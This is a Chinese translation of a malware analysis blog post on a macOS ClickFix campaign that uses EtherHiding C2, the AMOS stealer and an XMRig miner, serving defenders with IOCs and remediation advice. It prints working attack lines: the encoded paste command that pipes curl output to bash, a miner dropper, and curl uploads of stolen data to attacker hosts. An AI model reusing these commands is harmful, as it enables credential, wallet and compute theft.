返回整理

中文译稿 · 2026-08-20

拆解一套利用 EtherHiding 的 macOS ClickFix 犯罪工具包

NetbyteSEC Notes

notes.netbytesec.com整理日期 2026-10-05

导读

NetbyteSEC 两位分析师拆了 2026 年 7 月抓到的一个 macOS ClickFix 诱饵。受害者照着假验证页的提示,自己把命令粘进终端。后面接一个常驻后门,按指令投放 AMOS 窃密木马、XMRig 挖矿程序或远程 shell。C2 域名存在 Polygon 链上的智能合约里,样本里没有可封的域名。作者反过来读合约的交易记录,还原出约 3 个月里 21 次 C2 轮换,并追到给运营者钱包打钱的路径。处置上的要点是先清掉 LaunchAgent 后门,只删矿工没有用。

文章题图:发光的 command 键和电路板

作者:Amin Hazim、Badrul Munir

一次 macOS ClickFix 攻击活动的技术拆解。这次活动组合了 AppleScript 执行、EtherHiding、常驻后门、AMOS 窃密木马、XMRig 挖矿,以及基于区块链的 C2 基础设施。

引言

社会工程一直是拿到初始访问权限最有效的手段之一。攻击者不去利用技术漏洞,而是利用人的行为,操纵用户自己动手做出最终让系统失陷的操作。

过去两年,ClickFix 成了最有效的社会工程手法之一。它不靠下载恶意软件,也不靠软件漏洞,而是骗用户自己执行恶意命令。恶意网页弹出一个假的 CAPTCHA,让访客把一条命令复制粘贴到终端里。受害者照着这些看似正常的指示做,就亲手执行了攻击者的代码,绕开了浏览器和 Gatekeeper 这类平台安全机制本来要设置的“下载再双击”这道门槛。

2026 年 7 月,我们调查了这样一个针对 macOS 用户的诱饵,托管在 25382ea9.trustkey-otcheckv1.pages[.]dev(Cloudflare Pages)上。让它值得完整拆一遍的,是诱饵背后的一切。这个攻击者用了 EtherHiding,也就是把恶意代码或 C2 指令藏进公链智能合约的方法。在这个案例里,实时的 C2 主机名存在 Polygon 链上,运行时再去取。对防守方来说,这意味着样本里没有任何内嵌的域名或 IP 可以拦截,甚至没法识别。C2 只有在查询合约之后才会出现。

本文从最初的诱饵和加载器执行讲起,一路到后门代理、载荷和最终的数据外传,最后追踪运营者在区块链上的活动。

感染链概览

图 1

图 1:感染链流程图,从最初的 ClickFix 诱饵到数据外传共 8 个阶段。

阶段 1:剪贴板命令和 Cloudflare Worker

受害者看到的诱饵

这个页面是一个假的“人机验证”入口,品牌叫 TrustKey,号称“可信访客网关”。页面加载后只显示一个熟悉又普通的“我不是机器人”复选框,用的正是真 CAPTCHA 的那套视觉语言:

图 2

图 2:假的 TrustKey 人机验证诱饵页,向受害者展示“我不是机器人”复选框。

点下复选框,骗局才真正开始运转。方框变成绿色对勾,展开一个分步说明面板,让访客打开 Spotlight(⌘ + 空格),输入 Terminal,粘贴“令牌”(⌘ + V),再按回车:

图 3

图 3:展开后的 ClickFix 诱饵说明,一步步带受害者打开终端并粘贴命令。

页面上的每个元素都是为了让受害者放下戒心。“我们从不收集任何个人数据,你的会话保持私密”这句安抚话术提前打消怀疑。页脚的 Ray ID 模仿 Cloudflare 真实的验证页,借它的可信度。让受害者粘贴的“令牌”其实是攻击者的命令,在点下复选框的那一刻就被悄悄放进了剪贴板。

受害者从头到尾没有敲过任何恶意内容,也没有下载过任何文件。他们只是照着四步“验证”做,就亲手执行了载荷。这就是 ClickFix 的全部意义:把一次正常、看起来可信的交互变成代码执行,绕开 Gatekeeper 本来要设置的“下载再双击”门槛。

剪贴板命令

我们一开始手上唯一的东西,就是页面放进受害者剪贴板的那条命令:

ORIGINAL:
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9ibGFjay1mZWF0aGVyLTljZmQuYWRyaWFucm95LTAxLndvcmtlcnMuZGV2JyB8IGJhc2g=" | base64 -d)

DECODED:
curl -s 'https://black-feather-9cfd.adrianroy-01.workers.dev' | bash

受害者的机器去连一个 Cloudflare Worker,curl … | bash 这条管道把 Worker 的响应直接喂给 bash。下载下来的代码不先存成磁盘文件,由 shell 直接执行。

Worker 返回的载荷开头是:

osascript -e "$(echo "<base64>" | base64 -d)"

用 osascript 这一点马上给了我们关于目标的重要线索。osascript 是 macOS 自带的命令行工具,所以从第一行就能看出目标平台:这是一台 Mac,后面的一切都从 AppleScript 开始。

图 4

图 4:从 Cloudflare Worker 取回的初始命令管道,可以看到解码载荷的恶意 osascript 命令。

osascript 是什么?

它是每台 Mac 都内置的正规工具(/usr/bin/osascript),用来运行开放脚本架构(Open Scripting Architecture)脚本,最常见的是 AppleScript 和 JavaScript for Automation。它能弹对话框、控制应用,还能通过 AppleScript 的 do shell script 运行 shell 命令。因为它随 macOS 发布、带 Apple 签名,攻击者可以拿它当一个受信任的途径和操作系统交互,不用另外投放二进制文件。在这个案例里,osascript 执行经过 base64 解码的输入,是很强的恶意信号。

在 Windows 上,对应的受信任解释器包括 PowerShell(powershell.exe)和 Windows Script Host(wscript / cscript),后者能运行 VBScript 和 JScript。Windows 上的 ClickFix 攻击里,粘贴的命令通常是 PowerShell,不是 AppleScript。关于 osascript 的更多信息,可以看 SS64 的 macOS osascript 参考。

一层层剥开 AppleScript

Worker 返回的内容像俄罗斯套娃:LaunchAgent plist 里套着 AppleScript,AppleScript 里套着 base64。把每一层解码成文件,全程不执行 osascript,能看到两样东西:持久化和加载器。持久化这一层写入一个 LaunchAgent 并加载它:

图 5

图 5:AppleScript 向文件系统写入并加载一个 LaunchAgent plist,实现持久化。

RunAtLoad 和 KeepAlive 保证 LaunchAgent 一加载就启动载荷,并在设定的条件下自动重启。这里也是这次攻击落到磁盘上的地方。

执行链大部分驻留在内存里,但持久化体现为文件系统上一个实实在在的 plist,这让它成了检测和狩猎的宝贵痕迹。

plist 的 ProgramArguments 字段里装的是加载器,又是一段 base64 编码的数据。

字符码混淆

加载器里每一个敏感字符串都是一个字符一个字符拼出来的,用来对付 strings 和 grep:

图 6

图 6:加载器逐字符拼接字符串,并混入数字垃圾值来混淆字符码,躲避静态检测。

加载器一个字符一个字符地拼出敏感字符串,藏住它们。它还混进数字垃圾和无意义的值,让脚本更难分析,也让简单的检测工具犯糊涂。我们剥掉混淆,还原出被藏起来的字符串,然后确认所有阶段里都没有残留的字符码混淆。解码之后,加载器干的事很短,也很说明问题:

图 7

图 7:解除字符码混淆后,干净的 AppleScript 加载器。

加载器轮流尝试几个公共 Polygon RPC 端点,向一个智能合约询问当前的 C2 主机名,解码后向它发信标,再把响应直接通过管道交给 osascript。这次合约调用是整套手法的核心。

RPC 端点是什么? 区块链没法直接查询,请求要发给网络上的一个节点。节点对外提供一个 RPC(Remote Procedure Call,远程过程调用)端点:一个 URL,你向它 POST 一个 JSON 请求,它执行查询并返回结果。polygon.drpc.org、polygon.publicnode.com 等是免费的公共 Polygon RPC 服务商,属于真实加密应用在用的正规基础设施。也正因如此,一台普通的 Mac 突然发起区块链请求,就显得很扎眼。参考:Polygon RPC 文档、Ethereum JSON-RPC。

阶段 2:EtherHiding,从 Polygon 智能合约读取 C2

EtherHiding 把 C2 地址存在公链上某个智能合约的存储里,运行时用只读的 eth_call 读出来。没有交易,不花 gas,不需要钱包,读取这个动作本身在链上不留任何痕迹。

对防守方来说,这既是好事也是坏事。样本里没有写死的域名可以直接拦截。但因为恶意软件只是从区块链读数据,我们可以复现同样的请求,自己把 C2 地址取出来。哪怕 C2 服务器已经下线,这个值照样能取到。

合约本身很简单。它存一个包含 C2 地址的字符串,并限制谁能修改它。复现恶意软件的请求:

图 8

图 8:通过对 Polygon 智能合约发 eth_call,复现恶意软件解析实时 C2 的只读请求。

这个请求在问什么?

字段 值 含义
jsonrpc "2.0" 协议版本,固定写法;节点都说 JSON-RPC 2.0
method "eth_call" 只读合约调用:没有交易,不花 gas,不需要钱包,链上不留记录
params[0].to 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 调用哪个合约:存放 C2 字符串的 EtherHiding 合约
params[0].data 0x2686ecea 调用哪个函数:C2 读取函数的 4 字节选择器(后面不跟参数)
params[1] "latest" 用哪个区块或状态:“用当前链状态”,也就是此刻存着的值
id 1 请求标签:响应里原样带回,用来把响应和请求对上

合约以十六进制数据返回 C2 主机名,里面包含一个偏移量、一个长度和实际的字符串。在我们的实时查询中,长度是 0x0f(15 字节),数据是 363773697863656265682e73757266。把这些字节转成文本,得到 67sixcebeh[.]surf,也就是当前的 C2 主机名。

不用自己解码 eth_call 的响应,也能确认同一个 C2。在 Polygonscan 上,运营者最近一笔 Set Server URL 交易里,_serverURL 参数以明文显示为 67sixcebeh.surf,因为区块浏览器替我们做了 ABI 解码,见下图。

这只是同一个值的两种视图。eth_call 读的是合约当前存着的 C2,区块浏览器显示的是之前写入它的那笔交易。两者指向同一个 C2:67sixcebeh[.]surf。

图 9

图 9:从一笔设置交易中解码出的实时 C2 字符串(67sixcebeh.surf),由 Polygonscan 的 ABI 解码以明文显示。

用这套手法反制运营者

每次轮换 C2 都是一笔交易,而交易的 calldata 永久留在区块链上,所以这个合约把运营者的全部操作历史交到了我们手里。

完整的 C2 轮换历史

公共 RPC 节点能给我们合约的当前值,但没法方便地看到合约过去存过的所有内容。所以我们从合约的当前状态转向它的交易历史。

运营者每换一次 C2,新域名就通过一笔设置交易传给合约。把这些交易取回来、解码函数参数,就能在不依赖 C2 服务器本身的情况下重建 C2 轮换历史。

我们从 Blockscout 取回了运营者钱包的交易历史。API 响应提供原始交易字段,包括函数选择器和 ABI 编码的 calldata,解码后能还原出 C2 域名。取交易历史用的请求是:

curl -s "https://polygon.blockscout.com/api?module=account&action=txlist
&address=0x363aeaf1f67f1fb7abddc3f9806a301f1c64abe3&sort=asc"

响应里包含分析所需的交易 input、methodId、发送方、接收方、时间戳和交易哈希。

图 10

图 10:Blockscout 交易历史 API 的响应,显示与可疑 Polygon 合约相关的原始交易字段和编码后的 calldata。

Blockscout API 不返回人能读懂的函数名,只返回原始的 methodId 和 input 字段。比如哈希为 0xc7da6917549eb765c9d9fbd773d6aefbae757b0fca2f74739fc9219328a71112 的交易,methodId 是 0xd75d1ba6,发自 0x363aeaf1f67f1fb7abddc3f9806a301f1c64abe,目标是位于 0xa3a603f8a454a9c905b4c579bb72628f7c15c2a0 的 EtherHiding 合约。input 字段里是 ABI 编码的字符串参数,解码这段 calldata 得到 67sixcebeh.surf。

图 11

图 11:运营者在链上的 C2 轮换,Polygonscan 上合约的交易列表里有反复出现的“Set Server URL”调用。

这是合约在 Polygonscan 上的交易列表。反复出现的“Set Server URL”揭示了运营者钱包一次次更新 C2。

把每次设置调用的字符串参数解码出来,就得到了这次活动的时间线。这十二笔交易包括一笔注资交易、一次合约部署,以及之后的 C2 轮换:

# 日期(UTC) 解码值 角色
1 2026-05-01 18:07 rutube.ru 测试
2 2026-05-01 18:09 facebook.com 测试
3 2026-05-18 02:46 https://vk.com/ 测试
4 2026-05-18 03:00 xuiaxwx.com 第一个真 C2
5 2026-05-25 13:59 example.com 测试
6 2026-05-27 09:47 gesck4m.pro 真 C2
7 2026-06-02 23:02 sj98xe4.xyz 真 C2
8 2026-06-05 01:29 smdh7.surf 真 C2
9 2026-06-05 10:04 citcix6.xyz 真 C2
10 2026-06-06 20:02 hf98x4d.site 真 C2(报告时“在线”)
11 2026-06-22 18:35 sj98xe4.xyz 真 C2(复用)
12 2026-06-28 10:41 bduwih8.pro 真 C2
13 2026-06-29 20:10 apdhlhs3.xyz 真 C2
14 2026-06-29 20:14 johncon.my 真 C2
15 2026-06-29 20:14 johncon.my 真 C2(25 秒后重设)
16 2026-06-30 18:23 apdhlhs3.xyz 真 C2(复用)
17 2026-07-09 17:03 j9af4sr.guru 真 C2
18 2026-07-18 04:29 okekjaiw.click 真 C2
19 2026-07-19 13:50 8jdjpwka.baby 真 C2
20 2026-07-20 13:06 fbuytf67.click 真 C2
21 2026-07-21 06:22 67sixcebeh.surf 当前 / 在线

靠前的几条是开发和测试用的值,包括 facebook.com 和 example.com 这类常见域名。第一个看起来真正投入使用的 C2 是 xuiaxwx.com,出现在 2026-05-18,此后运营者在一批又短又便宜的域名之间反复轮换。历史记录里也能看到基础设施复用:sj98xe4.xyz 和 apdhlhs3.xyz 后来各自又被设置了一次,johncon.my 则在几秒之内被写入两次。

越到时间线后段,轮换越密集。比如 2026-06-05 当天几小时内就设了两个不同的 C2,6 月下旬和 7 月又有更多轮换。这给防守方的不只是当前的 C2:每一个历史上用过的域名,都可以拿来做回溯检测和狩猎。

顺着钱走

运营者部署 C2 合约之前,需要 Polygon 的原生币 POL 来付 gas。往回追运营者钱包的资金来源,能看出这套基础设施是怎么出资的。

我们通过 Blockscout 核实了这些转账,并对每个钱包追踪最早的几笔原生币转入。链条很清楚:

图 12

图 12:原生 POL 转账追踪,资金从一个加密交易所热钱包经过中转钱包流到运营者钱包。

第一个钱包看起来是一个共用的交易所或场外交易(OTC)服务,不是攻击者控制的基础设施。它有一万多笔交易,收款方超过 2600 个。2026-05-01 17:15:54 UTC,这个钱包向中转钱包转了 90.52 POL。

仅仅 80 秒后,中转钱包把 30.00 POL 转给了运营者钱包。中转钱包总共只有六笔交易,而且只向一个收款方转钱,看起来是个临时中间人,不是业务钱包。

运营者钱包随后用这笔钱部署了 C2 合约,之后又多次轮换 C2 域名。所以这条资金链把控制 EtherHiding 合约的钱包和恶意软件用的基础设施连了起来。上游的交易所钱包单凭链上数据没法归到某个具体服务,但中转钱包和运营者钱包提供了有用的基础设施层面的追查切入点。

防守方为什么要在意

运营者的 Polygon 钱包是一个永久、可监控的标识。监控合约上新的 setServerURL 交易,或者盯住运营者钱包的相关活动,防守方就能在新的 C2 基础设施一部署时就发现它。

C2 域名是一次性的。区块链钱包和智能合约则难换得多,运营者要换就得把整套基础设施都扔掉。

阶段 3:常驻后门代理(bmodule)

加载器拉下来的第一个载荷 bmodule 不是窃密木马。它是一个代理,把失陷的 Mac 变成一台受控的肉鸡。它用的是前面几个阶段同样的字符码混淆。完全解码之后,它的行为就清楚了:

  1. 采集主机指纹。 它用 ioreg 或 system_profiler 收集 IOPlatformUUID 作为受害者 ID,同时收集当前用户名。

图 13

图 13:采集受害者主机指纹。

  1. 重新解析 C2。 代理查询同一个 EtherHiding 合约拿到当前 C2,并做一次健康检查,期望收到字面上的 success 响应。和加载器一样,代理里也没有写死的 C2 主机名。

图 14

图 14:从 Polygon 智能合约获取并解析攻击者的 C2。

完整解码后的命令大致如下:

r=$(curl -s --max-time 15 https://<RPC_HOST> -X POST -H 'Content-Type: application/json' --data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}')
h=$(echo "$r" | sed -n 's/.*"result":"0x\([^"]*\)".*/\1/p')
[ -z "$h" ] && exit 1
l=$(printf "%d" "0x${h:64:64}")
echo "${h:128:$((l*2))}" | xxd -r -p
  1. 钓取登录密码。 如果空密码就能通过认证,它就记下这一点;否则就循环弹出一个假的 macOS 对话框:

图 15

图 15:后门代理循环弹出假“系统偏好设置”对话框的代码,用来钓取受害者的明文登录凭据。

图 16

图 16:受害者看到的假 macOS“系统偏好设置”对话框。

对话框标题是“System Preferences”,正文是“To run the application you need to change the settings for its operation. Please enter password for continue:”(要运行该应用,需要更改它的运行设置。请输入密码继续:),输入内容隐藏。它会一直重复弹出,直到输入的密码能通过 dscl . authonly 认证,然后把明文密码写进 ~/.passphrase。

  1. 登记受害者。 代理发送一个 &connect 请求,登记这台失陷主机。收到 newconnect 后,它运行 tccutil reset All,重置这台机器的 TCC 隐私权限。

图 17

图 17:登记受害者。

  1. 轮询命令。 代理每 60 秒发一次 …&task 请求,按运营者的回复行事。

图 18

图 18:主循环。

代码概括如下:

C2 回复 动作 结果 载荷
notasks 空闲 - -
runloader POST …&smodule \| osascript 完整版 AMOS 窃密木马 smodule
runlight POST …&lmodule \| osascript 轻量窃密木马 lmodule
replacer POST …&ledger \| sh XMRig 矿工(热替换) ledger + XMRig
openshell POST …&shell \| sh 交互式远程 shell(RCE) sh

持久化完全由代理的 LaunchAgent(com.ifipbqmfnnywqguz)承担。窃密木马和矿工自己不做持久化,而是按需重新投放。

这是整份报告里最重要的一条处置事实:要清掉代理,光删矿工不够。只删 xmrig,下一个 replacer 任务就会把它原样装回来。

阶段 4:载荷

smodule:完整版 AMOS 窃密木马

“AMOS”(Atomic macOS Stealer)是一个“窃密即服务”家族。运营者租一个构建器,配置要偷什么,然后发出载荷。因为很多运营者用同一个构建器,AMOS 的各个版本长得很像:同一份钱包列表,同一张浏览器扩展 ID 表,同一个钥匙串手法,同一种 AppleScript 投递方式,还有一个很方便的特征:同一条自报家门的横幅。

AMOS 窃密木马一开始会在它的赃物文件夹里写一个叫 UserInformation 的文件,里面有一小段文件头。“Essential macOS Stealer”加一行“Build:”就是 AMOS 构建器的名片。“Build:”的值是每个构建器或每个客户的标签。

图 19

图 19:AMOS 窃密木马的自我标识。

窃密木马把赃物传回给攻击者时,不只是上传一个文件。它上传的是一个有两个字段的 multipart 表单:压缩包,加一个标签。

图 20

图 20:一个“txid”标签随数据发往攻击者 C2。

那个 txid=427e8b573407f6029923cdb4686b5f77 是 AMOS 恶意软件即服务(MaaS)的客户或交易 ID。C2 面板靠它把每次上传分到对应运营者的收件箱。加载器、后门代理和窃密木马用的都是这个值,是整个活动通用的标识。

AMOS 以偷加密钱包出名。这个版本带着那张标准的钱包表。

图 21

图 21:被盯上的桌面钱包列表。

这一字不差就是 AMOS 的钱包清单:Exodus、Electrum、Atomic、Guarda、Coinomi、Sparrow、Wasabi,Bitcoin / Litecoin / Dash / Dogecoin / Monero 的核心钱包,Armory、Electron Cash、BlueWallet、Zengo、Trust Wallet、Ledger Live、Ledger Wallet、Trezor Suite、TON Keeper。

图 22

图 22:被盯上的浏览器扩展钱包列表。

每一项都是一个 Chrome 扩展 ID。窃密木马遍历每个浏览器配置文件,在 /Local Extension Settings/、/IndexedDB/ 和 /Local Storage/ 里找这些 ID,把钱包状态外传。这份 193 项的列表就是 AMOS 标准的扩展搜刮网,因为它随构建器一起发布,所以在各个版本里都会出现。

还有一个不那么显眼、但非常可靠的特征。AMOS 通用的递归文件夹复制器,总是带着同一份要跳过的文件清单。

图 23

图 23:AMOS 跳过清单。

AMOS 窃密木马(smodule)盯上的全部数据和信息如下:

类别 说明 目标数据 / 例子
桌面加密钱包 22 个桌面钱包应用,偷凭据和钱包数据 Exodus、Electrum、Atomic、Guarda、Coinomi、Sparrow、Wasabi、Bitcoin Core、Litecoin Core、Dash Core、Dogecoin Core、Monero Core、Armory、Electron Cash、Trust Wallet、Ledger Live/Wallet、Trezor Suite、TON Keeper 等
浏览器扩展钱包 在各浏览器配置文件中搜 193 个浏览器扩展钱包 ID,即 AMOS 标准的钱包搜刮网 来自 Local Extension Settings、IndexedDB 和 Local Storage 的钱包数据
浏览器数据 系统地搜索浏览器配置文件中的敏感认证数据和钱包相关数据 Cookies、Web Data、Login Data、History、Local Extension Settings、IndexedDB、Local Storage
受影响的浏览器 多款 Chromium 系浏览器和 Firefox,包括其他发布渠道版本 Chrome、Chrome Beta、Chrome Canary、Chrome Dev、Brave、Edge、Vivaldi、Opera、Opera GX、Chromium、Yandex、Firefox
Firefox 数据 收集 Firefox 特有的凭据和会话数据库 key4.db、logins.json、cookies.sqlite
macOS 钥匙串 复制用户的登录钥匙串数据库,以便提取凭据 ~/Library/Keychains/login.keychain-db
浏览器安全存储密钥 通过 macOS 钥匙串用 security find-generic-password 取浏览器加密密钥 用于离线解密被盗浏览器 cookie 和密码的“<Browser> Safe Storage”密钥
滥用钥匙串弹窗 出错时以很短的间隔反复执行这条命令,实际上是不停弹钥匙串授权框,直到受害者点“允许” security find-generic-password -w -s "<Browser> Safe Storage"
其他应用 也从部分 macOS 应用中收集敏感数据 Apple 备忘录、Safari binarycookies、Telegram tdata
FileGrabber 更大范围地扫常用用户目录收集文件 ~/Desktop 和 ~/Documents

另一个说明这个样本是 AMOS 窃密木马的特征是外传方式。它用 ditto 压缩打包偷到的用户数据,再外传到攻击者的服务器。

图 24

图 24:用 ditto 做外传。

lmodule:AMOS 窃密木马的轻量版

和完整版 smodule 相比,轻量版在钱包表、扩展列表、钥匙串、浏览器数据和 Telegram 会话这几块的代码完全一样,但特意去掉了 Apple 备忘录、Safari cookie 和 FileGrabber 这几个模块。这是一个“快而安静”的版本,用在运营者看重速度和隐蔽、不求收集全面的时候。

ledger + xmr:XMRig 挖矿程序

窃密木马是一次性的数据抢夺,挖矿程序则给运营者带来持续的第二份收入。投放矿工的机制非常简单:

#!/bin/bash
exec >/dev/null 2>&1
killall xmrig
curl https://67sixcebeh[.]surf/xmr | bash

xmr.sh 脚本先检测系统架构(用 sysctl -n hw.optional.arm64 区分 Apple Silicon 和 Intel),然后直接从官方 GitHub 仓库下载一个未经修改的正版 XMRig(v6.26.0)。这种“借可信工具生存”的做法,让干净的二进制文件轻松绕过基于特征码的杀毒检测。最后,脚本用 chmod +x 和 xattr -d com.apple.quarantine 去掉 Gatekeeper 标记,然后执行载荷。

图 25

图 25:xmr.sh 的完整操作。

恶意的部分全在配置里:

配置项 值 含义
url pool.hashvault.pro:443 门罗币矿池;443 端口加 TLS,看起来像普通 HTTPS
user 4ApYm7Cp1…NWJxx2L 攻击者的门罗币钱包,挖到的 XMR 全记在这里
tls true 加密 stratum 流量,让明文 stratum 特征失效
tls-fingerprint 420c7850…f834b14 固定矿池证书,让防守方的中间人拦截或重定向难以奏效
cpu / opencl / cuda true / false / false 只用 CPU,在 Mac 上合理;持续高负载
donate-level 1 1% 给 XMRig 开发者,99% 给攻击者

RandomX 算法吃的是 CPU,这让 Mac 也成了值得挖矿的目标。在被感染的系统上,结果是 CPU 持续高占用、温度升高、笔记本电池掉得飞快、运行卡顿,还会因过热降频。

受害者付电费、承受性能损失,运营者收门罗币,乘以每一台被感染的主机。

阶段 5:外传

收集到的数据先用 ditto 打成 ZIP 压缩包。ditto 是 macOS 的正规工具,能创建和解开压缩包。打好的包再用 curl 上传到攻击者的基础设施。窃密木马按文件大小决定把压缩包传到哪个上传端点:

ditto -c -k --sequesterRsrc <lootdir> /tmp/<hash>.zip

# if the zip is > 90 MB:
curl -F 'txid=427e8b573407f6029923cdb4686b5f77' -F 'file=@/tmp/<hash>.zip' <http://62.60.226.0/upload.php>

# else:
curl -F 'txid=427e8b573407f6029923cdb4686b5f77' -F 'file=@/tmp/<hash>.zip' <https://hf98x4d.site/upload.php> # fallback → bare IP

所以 62.60.226.0 是大文件和备用的投放点,走裸 IP 上的明文 HTTP,没有 Cloudflare 做前端;hf98x4d.site/upload.php 负责小份赃物。窃密木马还会访问 http://api.ipify.org/ 来给受害者定位。

结论

这次活动说明,攻击者光靠 macOS 自带的工具(osascript、bash、curl、ditto、security、tccutil)就能走多远。不需要漏洞利用,只需要骗人粘贴一次(ClickFix),再加一点混淆。

关键的新东西是 EtherHiding:恶意软件在运行时从 Polygon 智能合约查 C2 域名,不把它写死。这意味着没有固定的域名可封,运营者可以又便宜又频繁地轮换基础设施。

但这把刀是双刃的,智能合约是公开且永久的。每一次 C2 变更都是一笔有记录的交易,我们正是靠这个还原出约 3 个月里的 21 次域名轮换,并追到了出资钱包,这些在网络日志里一样都看不到。这里的合约地址和运营者钱包,比任何一个单独的域名都更持久,可以作为指标长期使用;盯住新的 setServerURL 调用,就能对下一次轮换提前预警。

在终端上,处置顺序很重要:常驻的 LaunchAgent(bmodule)才是真正的据点。窃密木马、矿工和 shell 都不常驻,只是按命令重新下载,所以不清掉代理、只删它们,什么问题都解决不了。

最后,窃密木马本身是大路货 AMOS 恶意软件,在很多互不相关的活动里都出现过。让这次行动与众不同的是投递方式和 C2 设计,不是载荷。

MITRE ATT&CK

战术 技术
初始访问 T1566 钓鱼(ClickFix)· T1204.004 恶意复制粘贴
执行 T1059.002 AppleScript · T1059.004 Unix Shell
持久化 T1543.001 Launch Agent
防御规避 T1140 反混淆 / 解码 · T1480 执行护栏(ECH)· T1553.001 绕过 Gatekeeper · T1562.001 禁用或修改工具(重置 TCC)
命令与控制 T1102 Web 服务死信箱(EtherHiding)· T1071.001 Web 协议
凭据访问 T1555.001 钥匙串 · T1555.003 浏览器凭据 · T1056.002 GUI 输入捕获
收集 T1005 本地系统数据
影响 T1496 资源劫持(XMRig)
外传 T1041 通过 C2 通道外传

入侵指标

URL

域名

IP

区块链(EtherHiding)

SHA-256

阶段 哈希
阶段 2 Worker 9a6b91a3cc2867d4d493823f425f1397afac0f52e17acae937560c3f4d73080d
第 1 层 plist 安装器 e9d3dd808fa4218abdcb2a0a38a52d2337662b65a712663f35b8374476e3da65
第 3 层加载器 903c7483ffa15cc14181a2dec5d8a9ddf703cddde3aa87e596d948342c8a75dc
bmodule(代理) a46d6adeb5c8e9ab5883ed8005b6ed684e7181148f5fdec7656ae6e51ca6e676
smodule(AMOS 窃密木马) 4542d94e24b6829e262b1c4af8467e11e40f078ce135d0b110054db4b9577cf0
lmodule(轻量版) d0ee324b6390e9d61f9851cd1fa5f3bde4ce05821cd5b4f67ad665dbffe54ad7
ledger(矿工投放器) f3fb674441b05fab014212ece2528c92a36df6d45b88951e65ed72606fff0c80
xmr(矿工安装器) 872172a61e194ba96af2219b446bdb1cf318509c08ee66489aab20c1c59acf3d

方法与来源

原始语音先转成文字,再按原话整理:删掉口头水词,补标点,分段,不总结、不删观点。 译稿逐句翻译,术语前后统一;说话人标签改成中文,人名保留原文。

来源
https://notes.netbytesec.com/2026/08/anatomy-of-macos-clickfix-crimekit-that.html
节目
NetbyteSEC Notes
文字来源
网页原文
译自
英文
整理日期
2026-10-05